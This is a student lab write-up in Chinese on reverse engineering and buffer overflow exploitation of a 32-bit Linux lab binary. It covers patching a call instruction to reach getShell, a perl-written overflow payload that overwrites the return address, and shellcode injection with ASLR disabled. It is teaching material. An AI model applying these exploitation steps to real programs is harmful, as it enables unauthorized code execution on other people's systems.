2017-2018-2 20155225《網絡對抗技術》實驗一 PC平臺逆向破解

2017-2018-2 20155225《網絡對抗技術》實驗一 PC平臺逆向破解

一、直接修改程序機器指令,改變程序執行流程

理清思路:linux

  1. 咱們的目標文件是一個linux可執行文件,格式爲ELF(Executable and Linkable Format)。
  2. 反彙編,觀察文件執行流程。反彙編命令objdump,-d:反彙編代碼段代碼。
    image
  3. 發現主函數裏調用了foo函數,經過一個call指定,跳轉到foo函數的地址8048491,對應的機器碼是e8 d7 ff ff ff,e8表明call,d7 ff ff ff就表明了地址8048491,getshell函數的地址是804847d,兩個函數的地址偏移量是14,d7 ff ff ff減去14爲c3 ff ff ff。因此,只需將d7 ff ff ff修改成c3 ff ff ff便可。
  4. 用vi打開目標文件,發現是亂碼。由於該文件是二進制文件,vi按照文本文件打開,根本解析不出來。因此在vi裏輸入:%!xxd,轉換爲十六進制顯示。再經過/e8d7,找到要修改的位置。
  5. 按i進入插入模式,修改。
    image
  6. 再轉換16進製爲原格式:%!xxd -r,保存退出:wq
  7. 從新反彙編,成功調用了getshell函數。
    image

二、 經過構造輸入參數,形成BOF攻擊,改變程序執行流

觀察反彙編代碼。我首先從新學習了一遍《深刻理解計算機系統》裏關於過程的棧幀變化。僅經過讀這個反彙編代碼,就能夠看清棧幀的內容,準確預測出須要注入代碼的位置。==而且預測結果和實際結果相符。==反彙編代碼以下,我經過讀代碼,回答老師挖空的兩個問題。shell

0804847d <getShell>:
 804847d:   55                      push   %ebp
 804847e:   89 e5                   mov    %esp,%ebp
 8048480:   83 ec 18                sub    $0x18,%esp
 8048483:   c7 04 24 60 85 04 08    movl   $0x8048560,(%esp)
 804848a:   e8 c1 fe ff ff          call   8048350 <system@plt>
 804848f:   c9                      leave  
 8048490:   c3                      ret    

== 該可執行文件正常運行是調用以下函數foo,這個函數有Buffer overflow漏洞  ==

08048491 <foo>:
 8048491:   55                      push   %ebp
 8048492:   89 e5                   mov    %esp,%ebp
 8048494:   83 ec 38                sub    $0x38,%esp
 8048497:   8d 45 e4                lea    -0x1c(%ebp),%eax
 804849a:   89 04 24                mov    %eax,(%esp)
 
 == 這裏讀入字符串,但系統只預留了_28_字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址 ==
 
 804849d:   e8 8e fe ff ff          call   8048330 <gets@plt>
 80484a2:   8d 45 e4                lea    -0x1c(%ebp),%eax
 80484a5:   89 04 24                mov    %eax,(%esp)
 80484a8:   e8 93 fe ff ff          call   8048340 <puts@plt>
 80484ad:   c9                      leave  
 80484ae:   c3                      ret    

080484af <main>:
 80484af:   55                      push   %ebp
 80484b0:   89 e5                   mov    %esp,%ebp
 80484b2:   83 e4 f0                and    $0xfffffff0,%esp
 80484b5:   e8 d7 ff ff ff          call   8048491 <foo>
 
 ==上面的call調用foo,同時在堆棧上壓上返回地址值:___80484ba_______== 
 
  80484ba:  b8 00 00 00 00          mov    $0x0,%eax

讀這個反彙編代碼時,須要複習棧幀結構圖:
image安全

如圖,咱們的目標是P函數(main函數)的返回地址。網絡

  1. 返回地址下面的區域是==被保存的寄存器==。

寄存器組是惟一被全部過程共享的資源。咱們必須保證被調函數不會覆蓋調用函數稍後會使用的值。因此全部過程都必須遵循寄存器使用規則:1.%rbx,%rbp和%r12~%r15被分爲調用者保存寄存器,即被調者須要將這些寄存器的值壓入棧中,調用結束後再恢復出來。——《深刻理解計算機系統》函數

因此,咱們能夠理解爲何foo函數第一條指令是push %epb。將%epb壓棧,因此被保存寄存器這一段佔4字節。學習

  1. 局部變量區域。這裏存放foo函數聲明的局部變量,確定就是buffer了!

ebp壓棧保護後,棧指針esp存入ebp,-0x1c(%ebp)在ebp爲基地址,偏移-0x1c即28個字節。這個空間就是buffer空間!ui

保存寄存器佔4字節,buffer佔28字節,一共32字節,在32字節後4字節即咱們要找的返回地址!操作系統

再用老師講的方法驗證個人預測是否正確:3d

image

發現55555555中的4字節溢出到返回地址了!指針

image

發現1234這4字節溢出到返回地址!和我以前的預測一致!

找到位置後,只要把1234的位置換成getshell函數的地址\x08\x04\x84\x7d便可。直接輸入是不行,先寫到一個文件Input裏,再將文件內容做爲輸入便可。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > input //-e:perl調用print函數所需參數
xxd input //d:display,xx:十六進制,以十六進制查看
(cat input ; cat)| ./20155225pwn //將Input文件內容做爲輸入

過程以下圖所示:

image

三、注入Shellcode並執行

首先須要搞清楚什麼是shellcode,shellcode是一段機器碼程序,其功能是獲得一個系統shell。
和前面的getshell功能一致,惟一的區別在於,getshell是可執行程序裏已有的,只是用戶不可見,而shellcode是hacker本身編寫的,能夠實現任何功能。

攻擊思路仍是利用緩衝區溢出,修改返回地址,只不過返回地址再也不是修改成getshell的地址,而是shellcode的地址。

這是原來的堆棧結構:

image

有下面兩種思路,第一種是老師挖的坑,跳了……

image

嘗試第二種思路,選擇將shellcode放在shellcode後面,返回地址以shellcode地址填充便可。

image

理清思路就能夠開始作了!

預備工做:

設置堆棧可執行、關閉地址隨機化,如圖所示。

image

  • 找shellcode地址:
    注意,使用第二種方式注入,但要使用第一種方法找地址,由於第二種方式注入代碼超過36字節,溢出則沒法用gdb看堆棧。以下圖所示:

image

只要找到01020304的位置在0xffffd38c,再加4字節就是shellcode的起始地址了!即0xffffd390。如圖:

image

  • 注入成功:

image

實驗中遇到的問題

如何修改主機名

在網上找到修改主機名的方法,能夠修改主機名相關的配置文件:/etc/hosts和/etc/sysconfig/network。可是我找不到/etc/sysconfig/network這個文件,暫時先只能每次開機用hostname命令修改了。

如何進入和退出gdb調試器

進入:輸出gdb <可執行文件名> ;退出:輸入quit,或者按下Ctrl+d

使用execstack命令時,提示我沒有這個命令

使用這個命令安裝,sudo apt-get install execstack。

實驗收穫與感想

經過此次實驗,我感受收穫良多。一、真實體驗了一把漏洞攻擊,仍是頗有成就乾的。從新複習了過程調用中的堆棧結構,對整個攻擊過程更清晰地理解了。

二、至於==什麼是漏洞==這個問題,個人理解是,漏洞是利用操做系統運行應用程序的機制,經過一些巧妙的方法,修改應用系統的運行流程,達到本身的目標。

三、==漏洞的危害==:漏洞的存在會致使系統安全性下降,一旦黑客利用漏洞,運行了shellcode,就至關於整機暴露給黑客了。

四、==掌握NOP、JNE、JE、JMP、CMP彙編指令的機器碼==

NOP:NOP指令即「空指令」。執行到NOP指令時,CPU什麼也不作,僅僅當作一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)

JNE:條件轉移指令,若是不相等則跳轉。(機器碼:75)

JE:條件轉移指令,若是相等則跳轉。(機器碼:74)

JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)

CMP:比較指令,功能至關於減法指令,只是對操做數之間運算比較,不保存結果。cmp指令執行後,將對標誌寄存器產生影響。其餘相關指令經過識別這些被影響的標誌寄存器位來得知比較結果。

相關文章
相關標籤/搜索